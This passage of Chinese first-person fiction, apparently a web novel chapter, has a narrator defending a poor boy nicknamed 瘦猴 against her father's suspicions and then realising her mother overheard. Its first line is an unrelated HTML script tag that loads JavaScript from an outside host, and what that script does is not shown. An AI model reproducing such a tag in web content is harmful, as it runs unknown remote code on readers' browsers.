<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
此时我的已经有些疲惫了。
但我却感到了开心。
开心在于我完完全全的懂瘦猴,完完全全的了解瘦猴的心声,并且我所说出来的很明显让我的父亲大吃一惊。
因为我的父母压根就不会联想到那个层面。
“他很好欺负吗?”
我继续问。
“这个欺负当然是打引号的。”
“他只和爷爷相依为命,还要帮人做事还要照顾爷爷,你觉得他真的会有所谓的空闲时间和我发生些什么吗?”
“你是不是把我身边的人都想的太过于坏了?”
“还找陈老师来劝说我对吗?我和你说吧,陈老师得知的时候都懵了,因为这是万万不可能的事情!”
“他这么纯粹这么好的一个人,怎么就变成你们的介意的存在了呢?”
说到这句话的我,已经接近快要情绪失控了。
因为我心疼,我太过于的心疼了。
越说,越是懂他,越是懂瘦猴,越是说的我自己都明白,自己都惊讶自己懂得他的程度,我就越发的感到难受和心绞痛。
因为,实在是太让我悲悯了。
当然,我不会同情。
我想,我的话也说的差不多了。
但我压根不想去听我父亲的回应。
因为我希望他在自责,他在检讨,但他只需要放在他的心里,只需要回去告诉我的母亲。
其他的全部都不需要。
他说出口的话,也一定会变味。
我也就打算再留下一句话。
“他那么一个努力生活的辛苦的普通人,只有一个家属的可怜的纯粹的孩子,你们怎么会这样想他呢?即使你们再爱我,也请别冤枉别人。”
说完,我便打算进屋了。
但很显然,我的父亲懵了。
因为我若是和他说瘦猴的好,可能一个星期不停地说,都说不完,实在是太多了,还会忽略很多没有想起的细节,多的让我自己都惊讶。
但我的屋里有着我的母亲。
不管了,我在心里暗暗地说。
我已经对我的父亲说到这个地步了,我还能说些什么呢?
然而当我推门进去的时候,却发现我的母亲不在,只有佩佩在吃着我妈妈代替烧的饭。
“我妈妈去哪里了?阿姨呢?”
我问佩佩。
况且,我和我的父亲聊了那么久。
难道佩佩还没吃完饭吗?
“你还在吃吗?”
“嗯…烧多了。”
“阿姨烧完就出去找你和叔叔了,然后就没有回来过。”
我一想,那也只有一种可能了。
那也就是。
我的父亲也许看到或者没有,我的母亲应该是站在我的身后,并且听到了我们谈话的内容,随后又带着某种情绪感受而离开了。
然而由于我一直在说话,所以并没有察觉到吧。
我一拍脑门。
“好吧。”
也许是一种不甘心和意犹未尽的感觉萦绕着我吧。